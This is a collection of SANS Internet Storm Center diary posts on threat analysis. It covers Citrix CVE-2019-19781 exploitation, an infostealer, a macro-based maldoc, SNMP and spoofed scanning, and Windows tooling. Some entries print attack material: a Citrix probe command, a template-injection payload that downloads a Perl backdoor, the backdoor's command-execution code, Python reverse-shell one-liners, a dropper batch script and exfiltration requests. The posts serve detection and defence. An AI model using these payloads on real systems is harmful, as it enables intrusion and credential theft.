To detect vulnerable systems, the simples test is: 

curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is

A 200 response means you are vulnerable. A 403 response indicates that the workaround is in place. a 404 response likely indicates that this is not a Citrix ADC or other vulnerable system.

We do see heavy exploitation of the flaw using variations of both exploits. Most attempts follow the "Project Zero India" pattern, which is likely simpler to include in existing exploit scripts. Much of the scanning we have been seen so far is just testing the vulnerability by attempting to run commands like "id" and "uname".

A few exploits attempted to download additional code. I was successful retrieving one sample so far, a simple Perl backdoor.

The decoded exploit payload:

url=https://www.google.com&desc=[%+template.new({'BLOCK'='print+`curl+http://45.76.66.122:8090/aa.pl+-o++/netscaler/portal/scripts/PersonalBookmark.pl`'})+%]&title=xWCwb

The code attempts to download the script and places it in /netscaler/portal/scripts/PersonalBookmark.pl. The script accepts bash commands as a "cmd" parameter. There doesn't appear to be any kind of password:

my $cmd = Encode::decode('utf8', $cgi->param('cmd'));
if($cmd){print $cmd;my @c= `$cmd`;foreach my $line (@c) {print $line . "<br/>";}exit;}

The response is wrapped in XML and send back like other Citrix responses:

print "Content-Type: text/xml\r\n";
print "X-Citrix-Application: Receiver for Web\r\n";  # Needed for the RfwebUI
print "\r\n";
print $xml->XMLout($out);

I submitted the script to Virustotal, and so far, there are no "hits" for it [4]. This script will make vulnerable systems even more "vulnerable". 

I added a snort rule for the first part of the exploit below. It 

alert tcp any any -> any any (sid: 1019781; msg: "SERVER-WEBAPP Citrix ADC NSC_USER directory traversal attempt"; content: "NSC_USER:"; fast_pattern; content: "NSC_USER:"; http_header; content: "/../"; http_header; content: "POST"; http_method; content: "NSC_NONCE:" ; http_header; content: ".pl"; http_uri; content: "/vpns/"; http_uri; reference:cve,2019-19781; classtype: web-application-attack)

It is important to note that the often quotes ".." pattern is not as many assumed in the URL, but instead it can be found in the NSC_USER header. Probably the best filter you can use is to look for an NSC_USER header with a ".." patern in the value. You can find a PCAP of running the TrustedSec version of the exploit (after changing it to use HTTP) here: citrixexploit.pcap .

In addition to the files left behind, you may also see python processes running on an attacked system. For example:

 2251  ??  IW     0:00.00 /var/python/bin/python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.29.1",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); (python2.7)
 5199  ??  I      0:00.03 /var/python/bin/python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.29.1",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); (python2.7)
 5228  ??  I      0:00.03 /var/python/bin/python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.29.1",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); (python2.7)

[1] https://github.com/projectzeroindia/CVE-2019-19781
[2] https://github.com/trustedsec/cve-2019-19781/
[3] https://support.citrix.com/article/CTX267027
[4] https://www.virustotal.com/gui/file/2052f1e7830e2d86a356a0532d3c2728b88d674a4384727ea7df1d3522a5ed05

%CVE:2019-19781%

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

Yesterday,  I posted a quick analysis of a malicious document that exfiltrates data from the compromised computer[1]. Here is another found that also exfiltrate data. The malware is delivered in an ACE archive. This file format remains common in phishing campaigns because the detection rate is lower at email gateways (many of them can’t handle the file format). The archive contains a PE file called ‘Payment Copy.exe’ (SHA256:88a6e2fd417d145b55125338b9f53ed3e16a6b27fae9a3042e187b5aa15d27aa). The payload is unknown on VT at this time.

The list of searched files and registry keys is interesting. Many credentials databases and files are tested by the malware. Here is a list of extracted paths:

%USERPROFILE%\AppData\Local\Google\Chrome\User Data\LOGIN DATA
%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\4lddcdcq.hh3fwg7c.default\LOGINS.JSON
%USERPROFILE%\AppData\Local\TENCENT\QQBROWSER\USER DATA\DEFAULT\ENCRYPTEDSTORAGE
%USERPROFILE%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOGIN DATA
%USERPROFILE%\AppData\Local\YANDEX\YANDEXBROWSER\USER DATA
%USERPROFILE%\AppData\Local\360CHROME\CHROME\USER DATA
%USERPROFILE%\AppData\Local\IRIDIUM\USER DATA
%USERPROFILE%\AppData\Local\COMODO\DRAGON\USER DATA
%USERPROFILE%\AppData\Local\MAPLESTUDIO\CHROMEPLUS\USER DATA
%USERPROFILE%\AppData\Local\CHROMIUM\USER DATA
%USERPROFILE%\AppData\Local\TORCH\USER DATA
%USERPROFILE%\AppData\Local\7STAR\7STAR\USER DATA
%USERPROFILE%\AppData\Local\AMIGO\USER DATA
%USERPROFILE%\AppData\Local\BRAVESOFTWARE\BRAVE-BROWSER\USER DATA
%USERPROFILE%\AppData\Local\CENTBROWSER\USER DATA
%USERPROFILE%\AppData\Local\CHEDOT\USER DATA
%USERPROFILE%\AppData\Local\COCCOC\BROWSER\USER DATA
%USERPROFILE%\AppData\Local\ELEMENTS BROWSER\USER DATA
%USERPROFILE%\AppData\Local\EPIC PRIVACY BROWSER\USER DATA
%USERPROFILE%\AppData\Local\KOMETA\USER DATA
%USERPROFILE%\AppData\Local\ORBITUM\USER DATA
%USERPROFILE%\AppData\Local\SPUTNIK\SPUTNIK\USER DATA
%USERPROFILE%\AppData\Local\UCOZMEDIA\URAN\USER DATA
%USERPROFILE%\AppData\Local\VIVALDI\USER DATA
%USERPROFILE%\AppData\Local\CATALINAGROUP\CITRIO\USER DATA
%USERPROFILE%\AppData\Local\LIEBAO\USER DATA
%USERPROFILE%\AppData\Local\FENRIR INC\SLEIPNIR5\SETTING\MODULES\CHROMIUMVIEWER
%USERPROFILE%\AppData\Local\QIP SURF\USER DATA
%USERPROFILE%\AppData\Local\COOWON\COOWON\USER DATA
%USERPROFILE%\AppData\Roaming\Mozilla\SEAMONKEY\PROFILES.INI
%USERPROFILE%\AppData\Roaming\FLOCK\BROWSER\PROFILES.INI
%USERPROFILE%\AppData\Local\UCBROWSER
%USERPROFILE%\AppData\Roaming\NETGATE TECHNOLOGIES\BLACKHAWK\PROFILES.INI
%USERPROFILE%\AppData\Roaming\8PECXSTUDIOS\CYBERFOX\PROFILES.INI
%USERPROFILE%\AppData\Roaming\K-MELEON\PROFILES.INI
%USERPROFILE%\AppData\Roaming\Mozilla\ICECAT\PROFILES.INI
%USERPROFILE%\AppData\Roaming\COMODO\ICEDRAGON\PROFILES.INI
%USERPROFILE%\AppData\Roaming\MOONCHILD PRODUCTIONS\PALE MOON\PROFILES.INI
%USERPROFILE%\AppData\Roaming\WATERFOX\PROFILES.INI
%USERPROFILE%\AppData\Local\FALKON\PROFILES\PROFILES.INI
Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\POP3 Password
%USERPROFILE%\AppData\Roaming\THUNDERBIRD\PROFILES.INI
%USERPROFILE%\AppData\Local\VIRTUALSTORE\PROGRAM FILES\FOXMAIL\MAIL
%USERPROFILE%\AppData\Local\VIRTUALSTORE\PROGRAM FILES (X86)\FOXMAIL\MAIL
%USERPROFILE%\AppData\Roaming\OPERA MAIL\OPERA MAIL\WAND.DAT
%USERPROFILE%\AppData\Roaming\POCOMAIL\ACCOUNTS.INI
%USERPROFILE%\AppData\Roaming\THE BAT!
%USERPROFILE%\AppData\Roaming\POSTBOX\PROFILES.INI
%USERPROFILE%\AppData\Roaming\CLAWS-MAIL
%USERPROFILE%\AppData\Roaming\CLAWS-MAIL\CLAWSRC
%USERPROFILE%\AppData\Local\Temp\FOLDER.LST
%USERPROFILE%\AppData\Roaming\TRILLIAN\USERS\GLOBAL\ACCOUNTS.DAT
%USERPROFILE%\AppData\Roaming\PSI\PROFILES
%USERPROFILE%\AppData\Roaming\PSI+\PROFILES
%USERPROFILE%\AppData\Roaming\IPSWITCH\WS_FTP\SITES\WS_FTP.INI
%USERPROFILE%\AppData\Roaming\COREFTP\SITES.IDX
C:\FTP NAVIGATOR\FTPLIST.TXT
%USERPROFILE%\AppData\Roaming\FLASHFXP\3QUICK.DAT
%USERPROFILE%\AppData\Roaming\SMARTFTP\CLIENT 2.0\FAVORITES\QUICK CONNECT
C:\CFTP\FTPLIST.TXT
%USERPROFILE%\AppData\Roaming\FTPGETTER\SERVERS.XML
C:\Program Files (x86)\JDOWNLOADER\CONFIG\DATABASE.SCRIPT
%USERPROFILE%\AppData\Local\Temp\LOG.TMP
\REGISTRY\USER\S-1-5-21-2529703413-2662079939-3113469119-500\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging 
\REGISTRY\USER\S-1-5-21-2529703413-2662079939-3113469119-500\Software\Aerofox\FoxmailPreview
\REGISTRY\USER\S-1-5-21-2529703413-2662079939-3113469119-500\Software\Aerofox\Foxmail\V3.1 
\REGISTRY\USER\S-1-5-21-2529703413-2662079939-3113469119-500\Software\IncrediMail\Identities 
\REGISTRY\USER\S-1-5-21-2529703413-2662079939-3113469119-500\Software\Qualcomm\Eudora\CommandLine 
\REGISTRY\USER\S-1-5-21-2529703413-2662079939-3113469119-500\Software\RimArts\B2\Settings 
\REGISTRY\USER\S-1-5-21-2529703413-2662079939-3113469119-500\Software\OpenVPN-GUI\configs 
\REGISTRY\USER\S-1-5-21-2529703413-2662079939-3113469119-500\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions 
\REGISTRY\USER\S-1-5-21-2529703413-2662079939-3113469119-500\Software\FTPWare\COREFTP\Sites 
\REGISTRY\USER\S-1-5-21-2529703413-2662079939-3113469119-500\Software\DownloadManager\Passwords 

Who said that the browser market is restricted to IE, Firefox, Chrome, Safari & Opera?

Another tool used by the malware attracted my attention: ‘plutil.exe’. It’s a tool that is part of the Apple Application Support 32-bit program. This tool is completely legit and is available when you install an Apple software on your Windows system (Safari, iCloud, …). Its purpose is to process Properly List files[2] used by Apple.

C:\Program Files (x86)\Common Files\Apple\Apple Application Support\plutil.exe -convert xml1 -s -o \
   “%USERPROFILE%\AppData\Local\Temp\fixed_keychain.xml” \
   “%USERPROFILE%\AppData\Roaming\Apple Computer\Preferences\keychain.plist”

It could be a good idea to track access to these paths by uncommon process names (example via a Sysmon specific configuration)

[1] https://isc.sans.edu/forums/diary/Quick+Analyzis+of+another+Maldoc/25694/
[2] https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/AboutInformationPropertyListFiles.html

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Yesterday, one of our readers (thank David!) submitted to us a malicious document disguised as a UPS invoice. Like David, do not hesitate to share samples with us, we like malware samples! I briefly checked the document. Nothing new, based on a classic macro, it was easy to analyze and I can give you an overview of the infection process and what kind of data can be exfiltrated.

The malicious document was called 'ups_invoice_0701932_262.doc' (SHA256:be0939cbb5ba129ef316149adc474b00ad9f526513a6f6f6f6adc802290c02af) and has a current VT score of 10/61[1]. It contained some macros that, once the document opened, perform the malicious activity:

# oledump.py ups_invoice_0701932_262_doc 
A: word/vbaProject.bin
 A1:       734 'PROJECT'
 A2:        30 'PROJECTlk'
 A3:       233 'PROJECTwm'
 A4:        97 'UserForm1/\x01CompObj'
 A5:       294 'UserForm1/\x03VBFrame'
 A6:       883 'UserForm1/f'
 A7:      6688 'UserForm1/o'
 A8: M    1453 'VBA/Module1'
 A9: M   21943 'VBA/Module2'
A10: M    2239 'VBA/Module3'
A11: M    2331 'VBA/Module4'
A12: M  252836 'VBA/NewMacros'
A13: m     938 'VBA/ThisDocument'
A14: m    1493 'VBA/UserForm1'
A15:      8300 'VBA/_VBA_PROJECT'
A16:      1302 'VBA/dir'
A17: M  412655 'VBA/wLoadImages'

The infection path is the following: Word > Macro > Batch File (.cmd) >VBScript > Windows PE

The macro dumps a batch file on the disk (SHA256:96d785cdc95bff2f081f57d2c9fdee3b76daf1c3295d2b9e6298678ed32953b9). The dropped file is '%APPDATA%\..EnableDelayedExpansion\Documents1.CMD' Most of the commands are simpe “echo” that are used to create a VBS script '%APPDATA%\..EnableDelayedExpansion\gditbits.vbs'.

Sample of code with garbage words to make it more difficult to read:

@echo off
echo "93319427177886784668351442764871949889113678316627428857276359"
set mtspf=%APPDATA%\..EnableDelayedExpansion\gdibits.vbs
echo 'To determine H. pylori resistance to clarithromycin >> %mtspf%
echo 'were designed against the 23S rRNA gene >> %mtspf%
echo Dim hResBit, MpicOffer, xmpage, MenuPrice, ListPrice, Fundament, BufferBat >> %mtspf%
echo On Error Resume Next >> %mtspf%
echo. >> %mtspf%
echo Set hResBit = Wscript.Arguments >> %mtspf%
echo 'To determine H. pylori resistance to clarithromycin >> %mtspf%
echo 'were designed against the 23S rRNA gene >> %mtspf%
echo "471495911668846928514952834168735538343318577458669595"
echo "137756746277365597113689825816848246219143776556384827"
echo "589196889244714223435471453592227671689523411938182673"
echo "714793381962982623587978735968646573151481843754943393"
echo Set MpicOffer = CreateObject("MSXML2.ServerXMLHTTP.6.0") >> %mtspf%
echo "72797134559562738358938549883642286878881617597196952189815336"
echo ListPrice = hResBit(0) >> %mtspf%
echo Fundament = hResBit(1) >> %mtspf%
echo 'The most common question that restaurants are asking us revolve >> %mtspf%
echo 'special accommodations) that may be requested >> %mtspf%
echo. >> %mtspf%
echo MpicOffer.Open "GET", ListPrice, False >> %mtspf%

Then the VBS script is launched with two arguments (see above the Wscript.Arguments):

cscript //nologo %APPDATA%\..EnableDelayedExpansion\gdibits.vbs hxxps://greatingusa[.]com/red1.res %APPDATA%\..EnableDelayedExpansion\hddput8.exe

Finally, hddput8.exe is launched:

start %APPDATA%\..EnableDelayedExpansion\hddput8.exe"

The PE file (SHA256:cfd98c1ee7ab19a63b31bcb6be133e6b61ce723f94a8f91741983bf79b4d1158) has a VT score of 44/72[2]

Here are same POST HTTP requests with exfiltrated data performed by the malware:

POST /red1/3OwiR2Q_W617601.7E915F4B9C0EEC907F5644D2061DB08F/90 HTTP/1.1
Content-Type: multipart/form-data; boundary=aksgja8s8d8a8s97
User-Agent: KSKJJGJ
Host: 203.176.135.102:8082
Content-Length: 4419
Cache-Control: no-cache

--aksgja8s8d8a8s97
Content-Disposition: form-data; name="proclist"

***TASK LIST***

[System Process]
System
smss.exe
csrss.exe
wininit.exe
csrss.exe
winlogon.exe
services.exe
lsass.exe
lsm.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
spoolsv.exe
svchost.exe
taskhost.exe
dwm.exe
svchost.exe
svchost.exe
svchost.exe
notepad.exe
calc.exe
svchost.exe
notepad.exe
explorer.exe
iexplore.exe
WmiPrvSE.exe
rundll32.exe
svchost.exe

--aksgja8s8d8a8s97
Content-Disposition: form-data; name="sysinfo"

***S Y S T E M I N F O***

HostName: 3OwiR2Q
OSName: Microsoft Windows 7 Professional 
OSVersion: Service Pack 1
OSArchitecture: 64-bit
ProductType: Workstation
BuildType: Multiprocessor Free
RegisteredOwner: Zahwl3xniYy
RegisteredOrg: CVDh5l614
SerialNumber: 00371-222-2524677-68218
InstallDate: 30/12/1899 00.00.00
LastBootUpTime: 30/12/1899 00.00.00
WindowsDirectory: C:\Windows
SystemDirectory: C:\Windows\system32
BootDevice: \Device\HarddiskVolume1
TotalPhysicalMemory: 3127 Mb
AvailablePhysicalMemory: 3127 Mb


/c ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : <redacted>
   Primary Dns Suffix  . . . . . . . : 
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Local Area Connection:
   Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : Realtek RTL8139C+ Fast Ethernet NIC
   Physical Address. . . . . . . . . : <redacted>
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : <Redacted>(Preferred) 
   IPv4 Address. . . . . . . . . . . : 192.168.100.6(Preferred) 
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Lease Obtained. . . . . . . . . . : Thursday, January 09, 2019 6:19:19 AM
   Lease Expires . . . . . . . . . . : Thursday, January 16, 2156 1:08:23 AM
   Default Gateway . . . . . . . . . : 192.168.100.1
   DHCP Server . . . . . . . . . . . : 192.168.100.1
   DHCPv6 IAID . . . . . . . . . . . : 240276480
   DHCPv6 Client DUID. . . . . . . . : <Redacted>
   DNS Servers . . . . . . . . . . . : 8.8.8.8
   NetBIOS over Tcpip. . . . . . . . : Disabled


/c net config workstation
Computer name                        \\<Redacted>
Full Computer name                   <Redacted>
User name                            Administrator

Workstation active on                
Software version                     Windows 7 Professional

Workstation domain                   WORKGROUP
Workstation Domain DNS Name          <Redacted>.com
Logon domain                         TESTER

COM Open Timeout (sec)               0
COM Send Count (byte)                16
COM Send Timeout (msec)              250

The command completed successfully.

/c net view /all
There are no entries in the list.

/c net view /all /domain
There are no entries in the list.

/c nltest /domain_trusts
Enumerating domain trusts failed: Status = 1717 0x6b5 RPC_S_UNKNOWN_IF

/c nltest /domain_trusts /all_trusts
Enumerating domain trusts failed: Status = 1717 0x6b5 RPC_S_UNKNOWN_IF

--aksgja8s8d8a8s97--

HTTP/1.1 200 OK
server: Cowboy
date: Thu, 09 Jan 2020 09:41:52 GMT
content-length: 3
Content-Type: text/plain

/1/

POST /red1/3OwiR2Q_W617601.7E915F4B9C0EEC907F5644D2061DB08F/81/ HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Host: 203.176.135.102
Connection: close
Content-Type: multipart/form-data; boundary=---------PAOUUIBNQKZQDUJR
Content-Length: 210

-----------PAOUUIBNQKZQDUJR
Content-Disposition: form-data; name="data"

-----------PAOUUIBNQKZQDUJR
Content-Disposition: form-data; name="source"

OpenSSH private keys
-----------PAOUUIBNQKZQDUJR--

HTTP/1.1 200 OK
connection: close
server: Cowboy
date: Thu, 09 Jan 2020 09:42:07 GMT
content-length: 3
Content-Type: text/plain

/1/

POST /red1/3OwiR2Q_W617601.7E915F4B9C0EEC907F5644D2061DB08F/83/ HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Host: 203.176.135.102
Connection: close
Content-Type: multipart/form-data; boundary=---------QPKAEZSIUTKMSAWM
Content-Length: 299

-----------QPKAEZSIUTKMSAWM
Content-Disposition: form-data; name="formdata"

{]}

-----------QPKAEZSIUTKMSAWM
Content-Disposition: form-data; name="billinfo"

{]}
-----------QPKAEZSIUTKMSAWM
Content-Disposition: form-data; name="cardinfo"

{SQL logic error
-----------QPKAEZSIUTKMSAWM--

HTTP/1.1 200 OK
connection: close
server: Cowboy
date: Thu, 09 Jan 2020 09:41:16 GMT
content-length: 3
Content-Type: text/plain

/1/

POST /red1/3OwiR2Q_W617601.7E915F4B9C0EEC907F5644D2061DB08F/81/ HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Host: 203.176.135.102
Connection: close
Content-Type: multipart/form-data; boundary=---------ITSDTHZDVZQGMVVI
Content-Length: 219

-----------ITSDTHZDVZQGMVVI
Content-Disposition: form-data; name="data"

-----------ITSDTHZDVZQGMVVI
Content-Disposition: form-data; name="source"

OpenVPN passwords and configs
-----------ITSDTHZDVZQGMVVI--

HTTP/1.1 200 OK
connection: close
server: Cowboy
date: Thu, 09 Jan 2020 09:41:41 GMT
content-length: 3
Content-Type: text/plain

/1/

Note that, at the time I'm writing this diary, the domain 'greatingusa[.]com' is still active. 

[1] https://www.virustotal.com/gui/file/be0939cbb5ba129ef316149adc474b00ad9f526513a6f6f6f6adc802290c02af/detection
[2] https://www.virustotal.com/gui/file/cfd98c1ee7ab19a63b31bcb6be133e6b61ce723f94a8f91741983bf79b4d1158/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

A quick reminder note today for everyone. Microsoft Windows 7 operating system is at End of Life on January 14, 2020. [1] 

Yep, that's Patch Tuesday !  So you get one more update on the books before it stops.

There will be no more free updates to the Win 7 OS for users. While using, installing and activating Windows 7 it is still possible after January 14, it is recommended that all instances be upgraded to Windows 10 operating systems.  If you have the need to extend your support, then Microsoft has a program you should inquire about. [2]   

If you need to know the lifecycle of any Microsoft product check out the link below. [3]
 

-Kevin

--
ISC Handler on Duty

[1] https://www.microsoft.com/en-us/microsoft-365/windows/end-of-windows-7-support
[2] https://support.microsoft.com/en-us/help/4497181/lifecycle-faq-extended-security-updates
[3] https://support.microsoft.com/en-us/lifecycle/search

For the last week, I have been monitoring our honeypot logs for evidence of exploits taking advantage of CVE-2019-19781. Currently, I have not seen an actual "exploit" being used. But there is some evidence that people are scanning for vulnerable systems. Based on some of the errors made with these scans, I would not consider them "sophisticated." There is luckily still no public exploit I am aware of. But other sources I consider credible have indicated that they were able to create a code execution exploit.

The most basic scan I have seen is a simple "GET" request for "/vpns/." For example:

GET /vpns/ HTTP/1.1
Host: [redacted ip address of host]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1

For a Citrix ADC appliance, this request will return a 403 Forbidden status, even if the workaround was not applied. For most other web applications, it will return a 404 error. This request can be used to identify a Citrix ADC server, but it does not show if the server is vulnerable.

A more exciting request:

GET /vpns/cfg/smb.conf HTTP/1.1
Host: [ redacted IP address of honeypot ]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.
Accept-Encoding: gzip, deflat
DNT: 1
NSC_USER: admin4123
NSC_NONCE: 123456
NSC_CLIENTTYPE: 123
Connection: close
Upgrade-Insecure-Requests: 1

Interestingly, this client first hit the index page and downloaded all related assets, including favicon. The initial requests used a different user agent, and it kind of looks like the individual did first some manual pre-qualification of the honeypot before hitting this URL. But the real shocker (or not... if you looked at the code for a while) is that yes, smb.conf is exposed and can be retrieved without authentication. I tested it on an "unconfigured" virtual appliance (meaning I just downloaded it and didn't set up any features on it). The "NCS" headers are also typical for "Netscaler" but not required for this particular request. smb.conf is the only file in this directory.

Other requests show fewer skills (or I just don't understand what they are trying to accomplish):

GET //vpns/script/vista/*.exe HTTP/1.1" 404 493 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0"

Yes, there is an executable in this directory. But the wildcard URL doesn't work. Does it ever? This may be someone who red the advisory but didn't quite understand that part.

Another more dangerous request:

POST //vpns/portal/scripts/newbm.pl?url=[source IP redacted]&title=1232&desc=12312&UI_inuse=RfWeb HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0, no-cache
Origin: http://[honeypot ip redacted]
Pragma: no-cache
Content-Length: 0

This request doesn't trigger an exploit the way it is written, and wouldn't work "as is" (parts missing). But it does hit one of the vulnerable URLs. So far, I only saw two requests, and they appeared to come from the same source (different source IPs, but close to each other in time and similar requests overall). 

Source IPs scanning the honeypot for any of these URLs so far:

117.186.7.127 China Mobile
213.252.247.236 BACloud (Europe/US colo servers)
223.167.22.29 CHINA UNICOM Shanghai city network
94.247.167.104 OpenIP (France DSL)

A quick note on signatures I have seen: At least partial exploitation (file upload, data leakage) is possible without a "/../" pattern in the URL. Signatures should only look for the "/vpns/" pattern in the URL.

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

Simple Network Management Protocol (SNMP) is a UDP service that runs on port 161/UDP. It is used for network management purposes and should be reachable only from known locations using secure channels.

I reviewed my honeypot today for interesting connections during december 2019. Saw an increase of snmp queries with the following distribution:

This is interesting as attackers are querying for the Community-Based Simple Network Management Protocol version 2 (SNMPv2c) instead of SNMPv2. It introduced GetBulkRequest command to gather large amount of data. SNMPv2c includes SNMPv2 without the SNMPv2 security model, using instead the simple community-based security scheme of SNMPv1.

Our ISC data shows this port was also active during december with a small spike during the first week of 2020:

Shodan report shows many devices connected to the internet with open SNMP port:

And there are domains with an important number of devices with open SNMP port. Source is Shodan:

We can conclude the following:

• There are devices that still have SNMP open to the Internet and the attackers know it. They predominantly search for devices that respond under the SNMPv2c protocol.
• You should not place devices on the Internet with open SNMP services. This is a very cheap way for an attacker to gather intelligence about your network and traffic.
• Please always use secure protocols:
  • SNMPv1 send passwords in clear text. SNMPv2 is prone to password hashing attacks.
  • SNMPv1 and SNMPv2 are vulnerable to IP spoofing. None of them should be used. 
  • SNMPv3 is vulnerable to brute force and dictionary attacks. This is the current protocol version. To mitigate the vulnerabilities, you should use IPSec transport connections.

Do you have any other interesting findings to share with us? Please send them out using our contact form. 

Manuel Humberto Santander Pelaez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

Justin C alerted me in our Slack channel that GreyNoise, a commercial system similar to DShield, noted a large increase in the number of sources scanning. We do have these "Spikes" from time to time and had one for the last two days. Artifacts are usually not lasting that long, and we also did not have a notable change in the number of submitters. So I took a quick look at the data, and here is what I found:

Looking at the top /8 Networks also shows an interesting anomaly (each table cell contains the /8 followed by the number of sources from that /8):

Scans from 103/8 pretty much explain the increase in sources we had over the last few days. There was also a notable increase for 167/8 on the 3rd, but it was nowhere as significant as the increase for 103/8. Now we can "zoom" in on the reports from 103/8 and look at how they compare to the rest of our reports. I ran this data across all three days:

The big anomaly is port 22 and 23 here. It looks like the 103/8 network prefers to scan these two ports. Of course, these are popular ports in general.

Now, if they are scanning port 22 and 23, then we should see them in our cowrie honeypots if they are trying to log in.

Let's look at the number of source IPs from Cowrie logs:

So no increase in login attempts and 103/8 is unremarkable. Having no logins from 103/8 could indicate that the purpose of these scans is to either find open ports or the scans are spoofed. To investigate further, I plotted the 2nd Byte of the IP address for all 103/8 sources

The distribution is pretty "random" with a dip from about 150-190. The unassigned /16 in this netblock (in addition to smaller blocks) 103.128/16, still had 1,174 sources contributing to these scans. All of these scans are from January 3rd and 4th. Our sensors detected nothing from 103.128/16 on January 2nd. So this is a pretty good hint that the scans are spoofed.

What is special about 103/8? This netblock was the last /8 assigned to APNIC from IANA. It was assigned to APNIC on Feb 2011, and assignments from 103/8 have been made to ISPs all over Asia.

 Why would someone run a large spoofed scan like this? Not clear. It could be an experiment, a bug, or an attempt to hide the actual scan. I will look into this in more detail tomorrow. This may be a new "Mirai" style botnet that tries to do something a bit different, but . of course, we won't get the respective malware from 103/8 if these scans are spoofed. Usually, "decoy scans" that include spoofed packets, in addition to real packets tend to be a waste of time for these simple internet-wide scans. If anything, they increase the noise and make it more likely that the scan is discovered. The scanning system is usually better off using these resources for actual scans. One of the "breakthroughs" of MIrai was its scanning speed after all. It may be notable that the scans started on 01/03, and the spoofed IPs are '103'. But not sure if this means anything.

---

Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

Over the holidays, I wanted to look into a packet capture file I created on Windows with a "netsh trace" command. Such an .etl file created with a "netsh trace" command can not be opened with Wireshark, you have to use Microsoft Message Analyzer.

When I wanted to make sure that I still had the latest version of Microsoft Message Analyzer (I have version 1.4), I discovered that Microsoft Message Analyzer has been retired and the downloads have been removed from Microsoft's sites.

I continued to search on the Internet for more information, and I came across a new utility: etl2pcapnp. It's a "Utility that converts an .etl file containing a Windows network packet capture into .pcapng format". It's a Windows program, and it's open source.

etl2pcapng is a command-line utility taking 2 arguments: input file (.etl) and output file (.pcapng):

And then you can open that .pcapng file with Wireshark, or any other tool that supports .pcapng files.

In an upcoming diary entry, I'll talk about a change I made to the source code.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

The SANS Holiday Hack Challenge is an annual, free CTF.

For the second year, it includes KringleCon 2019, a free virtual online hacker conference hosted on YouTube.

And of course, the videos of the first KringleCon are still online too.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

